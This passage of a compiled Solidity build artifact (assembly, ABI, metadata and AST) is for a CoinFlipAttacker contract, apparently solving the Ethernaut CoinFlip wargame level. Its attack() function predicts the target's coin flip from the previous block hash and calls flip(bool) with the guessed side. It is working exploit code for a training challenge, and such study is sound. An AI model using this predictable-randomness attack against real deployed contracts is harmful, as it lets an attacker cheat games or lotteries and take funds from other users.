"name": "ISZERO", "source": 1 }, { "begin": 5211, "end": 5330, "name": "PUSH [tag]", "source": 1, "value": "116" }, { "begin": 5211, "end": 5330, "name": "JUMPI", "source": 1 }, { "begin": 5249, "end": 5328, "name": "PUSH [tag]", "source": 1, "value": "117" }, { "begin": 5249, "end": 5328, "name": "PUSH [tag]", "source": 1, "value": "54" }, { "begin": 5249, "end": 5328, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 5249, "end": 5328, "name": "tag", "source": 1, "value": "117" }, { "begin": 5249, "end": 5328, "name": "JUMPDEST", "source": 1 }, { "begin": 5211, "end": 5330, "name": "tag", "source": 1, "value": "116" }, { "begin": 5211, "end": 5330, "name": "JUMPDEST", "source": 1 }, { "begin": 5369, "end": 5370, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 5394, "end": 5455, "name": "PUSH [tag]", "source": 1, "value": "118" }, { "begin": 5447, "end": 5454, "name": "DUP5", "source": 1 }, { "begin": 5438, "end": 5444, "name": "DUP3", "source": 1 }, { "begin": 5427, "end": 5436, "name": "DUP6", "source": 1 }, { "begin": 5423, "end": 5445, "name": "ADD", "source": 1 }, { "begin": 5394, "end": 5455, "name": "PUSH [tag]", "source": 1, "value": "57" }, { "begin": 5394, "end": 5455, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 5394, "end": 5455, "name": "tag", "source": 1, "value": "118" }, { "begin": 5394, "end": 5455, "name": "JUMPDEST", "source": 1 }, { "begin": 5384, "end": 5455, "name": "SWAP2", "source": 1 }, { "begin": 5384, "end": 5455, "name": "POP", "source": 1 }, { "begin": 5340, "end": 5465, "name": "POP", "source": 1 }, { "begin": 5127, "end": 5472, "name": "SWAP3", "source": 1 }, { "begin": 5127, "end": 5472, "name": "SWAP2", "source": 1 }, { "begin": 5127, "end": 5472, "name": "POP", "source": 1 }, { "begin": 5127, "end": 5472, "name": "POP", "source": 1 }, { "begin": 5127, "end": 5472, "jumpType": "[out]", "name": "JUMP", "source": 1 } ] } }, "sourceList": [ "contracts/ethernaut/coinflip.sol", "#utility.yul" ] }, "methodIdentifiers": { "attack()": "9e5faafc", "coinFlipAddress()": "278de414", "consecutiveWins()": "e6f334d7" } }, "metadata": "{\"compiler\":{\"version\":\"0.8.18+commit.87f61d96\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_coinFlipAddress\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"attack\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"coinFlipAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"consecutiveWins\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/ethernaut/coinflip.sol\":\"CoinFlipAttacker\"},\"evmVersion\":\"paris\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":false,\"runs\":200},\"remappings\":[]},\"sources\":{\"contracts/ethernaut/coinflip.sol\":{\"keccak256\":\"0xfd5ae73c5cad4b49ca884c3b55a382898d73a9cfd253af84d154c2f3dee69039\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2cbd327eee20a9291428391b4dd31e59804e8bf2129b9fb1ca36c201b1e15a92\",\"dweb:/ipfs/QmTVT6BxdyTQ5eTZrVRBY2EssCaK3mQtAyPVZA98X9pWMu\"]}},\"version\":1}", "storageLayout": { "storage": [ { "astId": 3, "contract": "contracts/ethernaut/coinflip.sol:CoinFlipAttacker", "label": "coinFlipAddress", "offset": 0, "slot": "0", "type": "t_address" }, { "astId": 5, "contract": "contracts/ethernaut/coinflip.sol:CoinFlipAttacker", "label": "consecutiveWins", "offset": 0, "slot": "1", "type": "t_uint256" }, { "astId": 7, "contract": "contracts/ethernaut/coinflip.sol:CoinFlipAttacker", "label": "lastHash", "offset": 0, "slot": "2", "type": "t_uint256" }, { "astId": 10, "contract": "contracts/ethernaut/coinflip.sol:CoinFlipAttacker", "label": "FACTOR", "offset": 0, "slot": "3", "type": "t_uint256" } ], "types": { "t_address": { "encoding": "inplace", "label": "address", "numberOfBytes": "20" }, "t_uint256": { "encoding": "inplace", "label": "uint256", "numberOfBytes": "32" } } }, "userdoc": { "kind": "user", "methods": {}, "version": 1 } } } }, "sources": { "contracts/ethernaut/coinflip.sol": { "ast": { "absolutePath": "contracts/ethernaut/coinflip.sol", "exportedSymbols": { "CoinFlipAttacker": [ 104 ] }, "id": 105, "license": "MIT", "nodeType": "SourceUnit", "nodes": [ { "id": 1, "literals": [ "solidity", "^", "0.8", ".0" ], "nodeType": "PragmaDirective", "src": "32:23:0" }, { "abstract": false, "baseContracts": [], "canonicalName": "CoinFlipAttacker", "contractDependencies": [], "contractKind": "contract", "fullyImplemented": true, "id": 104, "linearizedBaseContracts": [ 104 ], "name": "CoinFlipAttacker", "nameLocation": "66:16:0", "nodeType": "ContractDefinition", "nodes": [ { "constant": false, "functionSelector": "278de414", "id": 3, "mutability": "mutable", "name": "coinFlipAddress", "nameLocation": "104:15:0", "nodeType": "VariableDeclaration", "scope": 104, "src": "89:30:0", "stateVariable": true, "storageLocation": "default", "typeDescriptions": { "typeIdentifier": "t_address", "typeString": "address" }, "typeName": { "id": 2, "name": "address", "nodeType": "ElementaryTypeName", "src": "89:7:0", "stateMutability": "nonpayable", "typeDescriptions": { "typeIdentifier": "t_address", "typeString": "address" } }, "visibility": "public" }, { "constant": false, "functionSelector": "e6f334d7", "id": 5, "mutability": "mutable", "name": "consecutiveWins", "nameLocation": "140:15:0", "nodeType": "VariableDeclaration", "scope": 104, "src": "125:30:0", "stateVariable": true, "storageLocation": "default", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" }, "typeName": { "id": 4, "name": "uint256", "nodeType": "ElementaryTypeName", "src": "125:7:0", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" } }, "visibility": "public" }, { "constant": false, "id": 7, "mutability": "mutable", "name": "lastHash", "nameLocation": "169:8:0", "nodeType": "VariableDeclaration", "scope": 104, "src": "161:16:0", "stateVariable": true, "storageLocation": "default", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" }, "typeName": { "id": 6, "name": "uint256", "nodeType": "ElementaryTypeName", "src": "161:7:0", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" } }, "visibility": "internal" }, { "constant": false, "id": 10, "mutability": "mutable", "name": "FACTOR", "nameLocation": "191:6:0", "nodeType": "VariableDeclaration", "scope": 104, "src": "183:94:0", "stateVariable": true, "storageLocation": "default", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" }, "typeName": { "id": 8, "name": "uint256", "nodeType": "ElementaryTypeName", "src": "183:7:0", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" } }, "value": { "hexValue": "3537383936303434363138363538303937373131373835343932353034333433393533393236363334393932333332383230323832303139373238373932303033393536353634383139393638", "id": 9, "isConstant": false, "isLValue": false, "isPure": true, "kind": "number", "lValueRequested": false, "nodeType": "Literal", "src": "200:77:0", "typeDescriptions": { "typeIdentifier": "t_rational_57896044618658097711785492504343953926634992332820282019728792003956564819968_by_1", "typeString": "int_const 5789...(69 digits omitted)...9968" }, "value": "57896044618658097711785492504343953926634992332820282019728792003956564819968" }, "visibility": "internal" }, { "body": { "id": 23, "nodeType": "Block", "src": "322:80:0", "statements": [ { "expression": { "id": 17, "isConstant": false, "isLValue": false, "isPure": false, "lValueRequested": false, "leftHandSide": { "id": 15, "name": "coinFlipAddress", "nodeType": "Identifier", "overloadedDeclarations": [], "referencedDeclaration": 3, "src": "332:15:0", "typeDescriptions": { "typeIdentifier": "t_address", "typeString": "address" } }, "nodeType": "Assignment", "operator": "=", "rightHandSide": { "id": 16, "name": "_coinFlipAddress", "nodeType": "Identifier", "overloadedDeclarations": [], "referencedDeclaration": 12, "src": "350:16:0", "typeDescriptions": { "typeIdentifier": "t_address", "typeString": "address" } }, "src": "332:34:0", "typeDescriptions": { "typeIdentifier": "t_address", "typeString": "address" } }, "id": 18, "nodeType": "ExpressionStatement", "src": "332:34:0" }, { "expression": { "id": 21, "isConstant": false, "isLValue": false, "isPure": false, "lValueRequested": false, "leftHandSide": { "id": 19, "name": "consecutiveWins", "nodeType": "Identifier", "overloadedDeclarations": [], "referencedDeclaration": 5, "src": "376:15:0", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" } }, "nodeType": "Assignment", "operator": "=", "rightHandSide": { "hexValue": "30", "id": 20, "isConstant": false, "isLValue": false, "isPure": true, "kind": "number", "lValueRequested": false, "nodeType": "Literal", "src": "394:1:0", "typeDescriptions": { "typeIdentifier": "t_rational_0_by_1", "typeString": "int_const 0" }, "value": "0" }, "src": "376:19:0", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" } }, "id": 22, "nodeType": "ExpressionStatement", "src": "376:19:0" } ] }, "id": 24, "implemented": true, "kind": "constructor", "modifiers": [], "name": "", "nameLocation": "-1:-1:-1", "nodeType": "FunctionDefinition", "parameters": { "id": 13, "nodeType": "ParameterList", "parameters": [ { "constant": false, "id": 12, "mutability": "mutable", "name": "_coinFlipAddress", "nameLocation": "304:16:0", "nodeType": "VariableDeclaration", "scope": 24, "src": "296:24:0", "stateVariable": false, "storageLocation": "default", "typeDescriptions": { "typeIdentifier": "t_address", "typeString": "address" }, "typeName": { "id": 11, "name": "address", "nodeType": "ElementaryTypeName", "src": "296:7:0", "stateMutability": "nonpayable", "typeDescriptions": { "typeIdentifier": "t_address", "typeString": "address" } }, "visibility": "internal" } ], "src": "295:26:0" }, "returnParameters": { "id": 14, "nodeType": "ParameterList", "parameters": [], "src": "322:0:0" }, "scope": 104, "src": "284:118:0", "stateMutability": "nonpayable", "virtual": false, "visibility": "public" }, { "body": { "id": 102, "nodeType": "Block", "src": "448:801:0", "statements": [ { "assignments": [ 30 ], "declarations": [ { "constant": false, "id": 30, "mutability": "mutable", "name": "blockValue", "nameLocation": "466:10:0", "nodeType": "VariableDeclaration", "scope": 102, "src": "458:18:0", "stateVariable": false, "storageLocation": "default", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" }, "typeName": { "id": 29, "name": "uint256", "nodeType": "ElementaryTypeName", "src": "458:7:0", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" } }, "visibility": "internal" } ], "id": 40, "initialValue": { "arguments": [ { "arguments": [ { "commonType": { "typeIdentifier": "t_uint256", "typeString": "uint256" }, "id": 37, "isConstant": false, "isLValue": false, "isPure": false, "lValueRequested": false, "leftExpression": { "expression": { "id": 34, "name": "block", "nodeType": "Identifier", "overloadedDeclarations": [], "referencedDeclaration": 4294967292, "src": "497:5:0", "typeDescriptions": { "typeIdentifier": "t_magic_block", "typeString": "block" } }, "id": 35, "isConstant": false, "isLValue": false, "isPure": false, "lValueRequested": false, "memberLocation": "503:6:0", "memberName": "number", "nodeType": "MemberAccess", "src": "497:12:0", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" } }, "nodeType": "BinaryOperation", "operator": "-", "rightExpression": { "hexValue": "31", "id": 36, "isConstant": false, "isLValue": false, "isPure": true, "kind": "number", "lValueRequested": false, "nodeType": "Literal", "src": "512:1:0", "typeDescriptions": { "typeIdentifier": "t_rational_1_by_1", "typeString": "int_const 1" }, "value": "1" }, "src": "497:16:0", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" } } ], "expression": { "argumentTypes": [ { "typeIdentifier": "t_uint256", "typeString": "uint256" } ], "id": 33, "name": "blockhash", "nodeType": "Identifier", "overloadedDeclarations": [], "referencedDeclaration": 4294967291, "src": "487:9:0", "typeDescriptions": { "typeIdentifier": "t_function_blockhash_view$_t_uint256_$returns$_t_bytes32_$", "typeString": "function (uint256) view returns (bytes32)" } }, "id": 38, "isConstant": false, "isLValue": false, "isPure": false, "kind": "functionCall", "lValueRequested": false, "nameLocations": [], "names": [], "nodeType": "FunctionCall", "src": "487:27:0", "tryCall": false, "typeDescriptions": { "typeIdentifier": "t_bytes32", "typeString": "bytes32" } } ], "expression": { "argumentTypes": [ { "typeIdentifier": "t_bytes32", "typeString": "bytes32" } ], "id": 32, "isConstant": false, "isLValue": false, "isPure": true, "lValueRequested": false, "nodeType": "ElementaryTypeNameExpression", "src": "479:7:0", "typeDescriptions": { "typeIdentifier": "t_type$_t_uint256_$", "typeString": "type(uint256)" }, "typeName": { "id": 31, "name": "uint256", "nodeType": "ElementaryTypeName", "src": "479:7:0", "typeDescriptions": {} } }, "id": 39, "isConstant": false, "isLValue": false, "isPure": false, "kind": "typeConversion", "lValueRequested": false, "nameLocations": [], "names": [], "nodeType": "FunctionCall", "src": "479:36:0", "tryCall": false, "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" } }, "nodeType": "VariableDeclarationStatement", "src": "458:57:0" }, { "condition": { "commonType": { "typeIdentifier": "t_uint256", "typeString": "uint256" }, "id": 43, "isConstant": false, "isLValue": false, "isPure": false, "lValueRequested": false, "leftExpression": { "id": 41, "name": "lastHash", "nodeType": "Identifier", "overloadedDeclarations": [], "referencedDeclaration": 7, "src": "530:8:0", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" } }, "nodeType": "BinaryOperation", "operator": "==", "rightExpression": { "id": 42, "name": "blockValue", "nodeType": "Identifier", "overloadedDeclarations": [], "referencedDeclaration": 30, "src": "542:10:0", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" } }, "src": "530:22:0", "typeDescriptions": { "typeIdentifier": "t_bool", "typeString": "bool" } }, "id": 48, "nodeType": "IfStatement", "src": "526:59:0", "trueBody": { "id": 47, "nodeType": "Block", "src": "554:31:0", "statements": [ { "expression": { "arguments": [], "expression": { "argumentTypes": [], "id": 44, "name": "revert", "nodeType": "Identifier", "overloadedDeclarations": [ 4294967277, 4294967277 ], "referencedDeclaration": 4294967277, "src": "566:6:0", "typeDescriptions": { "typeIdentifier": "t_function_revert_pure$__$returns$__$", "typeString": "function () pure" } }, "id": 45, "isConstant": false, "isLValue": false, "isPure": false, "kind": "functionCall", "lValueRequested": false, "nameLocations": [], "names": [], "nodeType": "FunctionCall", "src": "566:8:0", "tryCall": false, "typeDescriptions": { "typeIdentifier": "t_tuple$__$", "typeString": "tuple()" } }, "id": 46, "nodeType": "ExpressionStatement", "src": "566:8:0" } ] } }, { "expression": { "id": 51, "isConstant": false, "isLValue": false, "isPure": false, "lValueRequested": false, "leftHandSide": { "id": 49, "name": "lastHash", "nodeType": "Identifier", "overloadedDeclarations": [], "referencedDeclaration": 7, "src": "595:8:0", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" } }, "nodeType": "Assignment", "operator": "=", "rightHandSide": { "id": 50, "name": "blockValue", "nodeType": "Identifier", "overloadedDeclarations": [], "referencedDeclaration": 30, "src": "606:10:0", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" } }, "src": "595:21:0", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" } }, "id": 52, "nodeType": "ExpressionStatement", "src": "595:21:0" }, { "assignments": [ 54 ], "declarations": [ { "constant": false, "id": 54, "mutability": "mutable", "name": "coinFlip", "nameLocation": "634:8:0", "nodeType": "VariableDeclaration", "scope": 102, "src": "626:16:0", "stateVariable": false, "storageLocation": "default", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" }, "typeName": { "id": 53, "name": "uint256", "nodeType": "ElementaryTypeName", "src": "626:7:0", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" } }, "visibility": "internal" } ], "id": 58, "initialValue": { "commonType": { "typeIdentifier": "t_uint256", "typeString": "uint256" }, "id": 57, "isConstant": false, "isLValue": false, "isPure": false, "lValueRequested": false, "leftExpression": { "id": 55, "name": "blockValue", "nodeType": "Identifier", "overloadedDeclarations": [], "referencedDeclaration": 30, "src": "645:10:0", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" } }, "nodeType": "BinaryOperation", "operator": "/", "rightExpression": { "id": 56, "name": "FACTOR", "nodeType": "Identifier", "overloadedDeclarations": [], "referencedDeclaration": 10, "src": "658:6:0", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" } }, "src": "645:19:0", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" } }, "nodeType": "VariableDeclarationStatement", "src": "626:38:0" }, { "assignments": [ 60 ], "declarations": [ { "constant": false, "id": 60, "mutability": "mutable", "name": "side", "nameLocation": "679:4:0", "nodeType": "VariableDeclaration", "scope": 102, "src": "674:9:0", "stateVariable": false, "storageLocation": "default", "typeDescriptions": { "typeIdentifier": "t_bool", "typeString": "bool" }, "typeName": { "id": 59, "name": "bool", "nodeType": "ElementaryTypeName", "src": "674:4:0", "typeDescriptions": { "typeIdentifier": "t_bool", "typeString": "bool" } }, "visibility": "internal" } ], "id": 67, "initialValue": { "condition": { "commonType": { "typeIdentifier": "t_uint256", "typeString": "uint256" }, "id": 63, "isConstant": false, "isLValue": false, "isPure": false, "lValueRequested": false, "leftExpression": { "id": 61, "name": "coinFlip", "nodeType": "Identifier", "overloadedDeclarations": [], "referencedDeclaration": 54, "src": "686:8:0", "typeDescriptions": { "typeIdentifier": "t_uint256", "typeString": "uint256" } }, "nodeType": "BinaryOperation", "operator": "==", "rightExpression": { "hexValue": "31", "id": 62, "isConstant": false, "isLValue": false, "isPure": true, "kind": "number", "lValueRequested": false, "nodeType": "Literal", "src": "698:1:0", "typeDescriptions": { "typeIdentifier": "t_rational_1_by_1", "typeString": "int_const 1" }, "value": "1" }, "src": "686:13:0", "typeDescriptions": { "typeIdentifier": "t_bool", "typeString": "bool" } }, "falseExpression": { "hexValue": "66616c7365", "id": 65, "isConstant": false, "isLValue": false, "isPure": true, "kind": "bool", "lValueRequested": false, "nodeType": "Literal", "src": "709:5:0", "typeDescriptions": { "typeIdentifier": "t_bool", "typeString": "bool" }, "value": "false" }, "id": 66, "isConstant": false, "isLValue": false, "isPure": false, "lValueRequested": false, "nodeType": "Conditional", "src": "686:28:0", "trueExpression": { "hexValue": "74727565", "id": 64, "isConstant": false, "isLValue": false, "isPure": true, "kind": "bool", "lValueRequested": false, "nodeType": "Literal", "src": "702:4:0", "typeDescriptions": { "typeIdentifier": "t_bool", "typeString": "bool" }, "value": "true" }, "typeDescriptions": { "typeIdentifier": "t_bool", "typeString": "bool" } }, "nodeType": "VariableDeclarationStatement", "src": "674:40:0" }, { "assignments": [ 69 ], "declarations": [ { "constant": false, "id": 69, "mutability": "mutable", "name": "payload", "nameLocation": "826:7:0", "nodeType": "VariableDeclaration", "scope": 102, "src": "813:20:0", "stateVariable": false, "storageLocation": "memory", "typeDescriptions": { "typeIdentifier": "t_bytes_memory_ptr", "typeString": "bytes" }, "typeName": { "id": 68, "name": "bytes", "nodeType": "ElementaryTypeName", "src": "813:5:0", "typeDescriptions": { "typeIdentifier": "t_bytes_storage_ptr", "typeString": "bytes" } }, "visibility": "internal" } ], "id": 75, "initialValue": { "arguments": [ { "hexValue": "666c697028626f6f6c29", "id": 72, "isConstant": false, "isLValue": false, "isPure": true, "kind": "string", "lValueRequested": false, "nodeType": "Literal", "src": "860:12:0", "typeDescriptions": { "typeIdentifier": "t_stringliteral_1d263f678198afcb61494c86d0b849d04a869f89e604450ae1a549aa6619dd3d", "typeString": "literal_string \"flip(bool)\"" }, "value": "flip(bool)" }, { "id": 73, "name": "side", "nodeType": "Identifier", "overloadedDeclarations": [], "referencedDeclaration": 60, "src": "874:4:0", "typeDescriptions": { "typeIdentifier": "t_bool", "typeString": "bool" } } ], "expression": { "argumentTypes": [ { "typeIdentifier": "t_stringliteral_1d263f678198afcb61494c86d0b849d04a869f89e604450ae1a549aa6619dd3d", "typeString": "literal_string \"flip(bool)\"" }, { "typeIdentifier": "t_bool", "typeString": "bool" } ], "expression": { "id": 70, "name": "abi", "nodeType": "Identifier", "overloadedDeclarations": [], "referencedDeclaration": 4294967295, "src": "836:3:0", "typeDescriptions": { "typeIdentifier": "t_magic_abi", "typeString": "abi" } }, "id": 71, "isConstant": false, "isLValue": false, "isPure": true, "lValueRequested": false, "memberLocation": "840:19:0", "memberName": "encodeWithSignature", "nodeType": "MemberAccess", "src": "836:23:0", "typeDescriptions": { "typeIdentifier": "t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$", "typeString": "function (string memory) pure returns (bytes memory)" } }, "id": 74, "isConstant": false, "isLValue": false, "isPure": false, "kind": "functionCall", "lValueRequested": false, "nameLocations": [], "names": [], "nodeType": "FunctionCall", "src": "836:43:0", "tryCall": false, "typeDescriptions": { "typeIdentifier": "t_bytes_memory_ptr", "typeString": "bytes memory" } }, "nodeType": "VariableDeclarationStatement", "src": "813:66:0" }, { "assignments": [ 77, 79 ], "declarations": [ { "constant": false, "id": 77, "mutability": "mutable", "name": "success", "nameLocation": "966:7:0", "nodeType": "VariableDeclaration", "scope": 102, "src": "961:12:0", "stateVariable": false, "storageLocation": "default", "typeDescriptions": { "typeIdentifier": "t_bool", "typeString": "bool" }, "typeName": { "id": 76, "name": "bool", "nodeType": "ElementaryTypeName", "src": "961:4:0", "typeDescriptions": { "typeIdentifier": "t_bool", "typeString": "bool" } }, "visibility": "internal" }, { "constant": false, "id": 79, "mutability": "mutable", "name": "result", "nameLocation": "988:6:0", "nodeType": "VariableDeclaration", "scope": 102, "src": "975:19:0", "stateVariable": false, "storageLocation": "memory", "typeDescriptions": { "typeIdentifier": "t_bytes_memory_ptr", "typeString": "bytes" }, "typeName": { "id": 78, "name": "bytes", "nodeType": "ElementaryTypeName", "src": "975:5:0", "typeDescriptions": { "typeIdentifier": "t_bytes_storage_ptr", "typeString": "bytes" } }, "visibility": "internal" } ], "id": 84, "initialValue": { "arguments": [ { "id": 82, "name": "payload", "nodeType": "Identifier", "overloadedDeclarations": [], "referencedDeclaration": 69, "src": "1019:7:0", "typeDescriptions": { "typeIdentifier": "t_bytes_memory_ptr", "typeString": "bytes memory" } } ], "expression": { "argumentTypes": [ { "typeIdentifier": "t_bytes_memory_ptr", "typeString": "bytes memory" } ], "expression": { "id": 80, "name": "coinFlipAddress", "nodeType": "Identifier", "overloadedDeclarations": [], "referencedDeclaration": 3, "src": "998:15:0", "typeDescriptions": { "typeIdentifier": "t_address", "typeString": "address" } }, "id": 81, "isConstant": false, "isLValue": false, "isPure": false, "lValueRequested": false, "memberLocation": "1014:4:0", "memberName": "call", "nodeType": "MemberAccess", "src": "998:20:0", "typeDescriptions": { "typeIdentifier": "t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$", "typeString": "function (bytes memory) payable returns (bool,bytes memory)" } }, "id": 83, "isConstant": false, "isLValue": false, "isPure": false, "kind": "functionCall", "lValueRequested": false, "nameLocations": [], "names": [], "nodeType": "FunctionCall", "src": "998:29:0", "tryCall": false, "typeDescriptions": { "typeIdentifier": "t_tuple$_t_bool_$_t_bytes_memory_ptr_$", "typeString": "tuple(bool,bytes memory)" } }, "nodeType": "VariableDeclarationStatement", "src": "960:67:0" }, { "expression": { "arguments": [ { "id": 86, "name": "success", "nodeType": "Identifier", "overloadedDeclarations": [], "referencedDeclaration": 77, "src": "1046:7:0", "typeDescriptions": { "typeIdentifier": "t_bool", "typeString": "bool" } }, { "hexValue": "43616c6c206661696c6564", "id": 87, "isConstant": false, "isLValue": false, "isPure": true, "kind": "string", "lValueRequested": false, "nodeType": "Literal", "src": "1055:13:0", "typeDescriptions": { "typeIdentifier": "t_stringliteral_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b", "typeString": "literal_string \"Call failed\"" }, "value": "Call failed" } ], "expression": { "argumentTypes": [ { "typeIdentifier": "t_bool", "typeString": "bool" }, { "typeIdentifier": "t_stringliteral_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b", "typeString": "literal_string \"Call failed\"" } ], "id": 85, "name": "require", "nodeType": "Identifier", "overloadedDeclarations": [ 4294967278, 4294967278 ], "referencedDeclaration": 4294967278, "src": "1038:7:0", "typeDescriptions": { "typeIdentifier": "t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$", "typeString": "function (bool,string memory) pure" } }, "id": 88, "isConstant": false, "isLValue": false, "isPure": false, "kind": "functionCall", "lValueRequested": false, "nameLocations": [], "names": [], "nodeType": "FunctionCall", "src": "1038:31:0", "tryCall": false, "typeDescriptions": { "typeIdentifier": "t_tuple$__$", "typeString": "tuple()" } }, "id": 89, "nodeType": "ExpressionStatement", "src": "1038:31:0" }, { "assignments": [ 91 ], "declarations": [ { "constant": false, "id": 91, "mutability": "mutable", "name": "flipResult", "nameLocation": "1167:10:0", "nodeType": "VariableDeclaration", "scope": 102, "src": "1162:15:0", "stateVariable": false, "storageLocation": "default", "typeDescriptions": { "typeIdentifier": "t_bool", "typeString": "bool" }, "typeName": { "id": 90, "name": "bool", "nodeType": "ElementaryTypeName", "src": "1162:4:0", "typeDescriptions": { "typeIdentifier": "t_bool", "typeString": "bool" } }, "visibility": "internal" } ], "id": 99, "initialValue": { "arguments": [ { "id": 94, "name": "result", "nodeType": "Identifier", "overloadedDeclarations": [], "referencedDeclaration": 79, "src": "1191:6:0", "typeDescriptions": { "typeIdentifier": "t_bytes_memory_ptr", "typeString": "bytes memory" } }, { "components": [ { "id": 96, "isConstant": false, "isLValue": false, "isPure": true, "lValueRequested": false, "nodeType": "ElementaryTypeNameExpression", "src": "1200:4:0", "typeDescriptions": { "typeIdentifier": "t_type$_t_bool_$", "typeString": "type(bool)" }, "typeName": { "id": 95, "name": "bool", "nodeType": "ElementaryTypeName", "src": "1200:4:0", "typeDescriptions": {} } } ], "id": 97, "isConstant": false, "isInlineArray": false, "isLValue": false, "isPure": true, "lValueRequested": false, "nodeType": "TupleExpression", "src": "1199:6:0", "typeDescriptions": { "typeIdentifier": "t_type$_t_bool_$", "typeString": "type(bool)" } } ], "expression": { "argumentTypes": [ { "typeIdentifier": "t_bytes_memory_ptr", "typeString": "bytes memory" }, { "typeIdentifier": "t_type$_t_bool_$", "typeString": "type(bool)" } ], "expression": { "id": 92, "name": "abi", "nodeType": "Identifier", "overloadedDeclarations": [], "referencedDeclaration": 4294967295, "src": "1180:3:0", "typeDescriptions": { "typeIdentifier": "t_magic_abi", "typeString": "abi" } }, "id": 93, "isConstant": false, "isLValue": false, "isPure": true, "lValueRequested": false, "memberLocation": "1184:6:0", "memberName": "decode", "nodeType": "MemberAccess", "src": "1180:10:0", "typeDescriptions": { "typeIdentifier": "t_function_abidecode_pure$__$returns$__$", "typeString": "function () pure" } }, "id": 98, "isConstant": false, "isLValue": false, "isPure": false, "kind": "functionCall", "lValueRequested": false, "nameLocations": [], "names": [], "nodeType": "FunctionCall", "src": "1180:26:0", "tryCall": false, "typeDescriptions": { "typeIdentifier": "t_bool", "typeString": "bool" } }, "nodeType": "VariableDeclarationStatement", "src": "1162:44:0" }, { "expression": { "id": 100, "name": "flipResult", "nodeType": "Identifier", "overloadedDeclarations": [], "referencedDeclaration": 91, "src": "1232:10:0", "typeDescriptions": { "typeIdentifier": "t_bool", "typeString": "bool" } }, "functionReturnParameters": 28, "id": 101, "nodeType": "Return", "src": "1225:17:0" } ] }, "functionSelector": "9e5faafc", "id": 103, "implemented": true, "kind": "function", "modifiers": [], "name": "attack", "nameLocation": "417:6:0", "nodeType": "FunctionDefinition", "parameters": { "id": 25, "nodeType": "ParameterList", "parameters": [], "src": "423:2:0" }, "returnParameters": { "id": 28, "nodeType": "ParameterList", "parameters": [ { "constant": false, "id": 27, "mutability": "mutable", "name": "", "nameLocation": "-1:-1:-1", "nodeType": "VariableDeclaration", "scope": 103, "src": "442:4:0", "stateVariable": false, "storageLocation": "default", "typeDescriptions": { "typeIdentifier": "t_bool", "typeString": "bool" }, "typeName": { "id": 26, "name": "bool", "nodeType": "ElementaryTypeName", "src": "442:4:0", "typeDescriptions": { "typeIdentifier": "t_bool", "typeString": "bool" } }, "visibility": "internal" } ], "src": "441:6:0" }, "scope": 104, "src": "408:841:0", "stateMutability": "nonpayable", "virtual": false, "visibility": "public" } ], "scope": 105, "src": "57:1194:0", "usedErrors": [] } ], "src": "32:1219:0" }, "id": 0 } } } }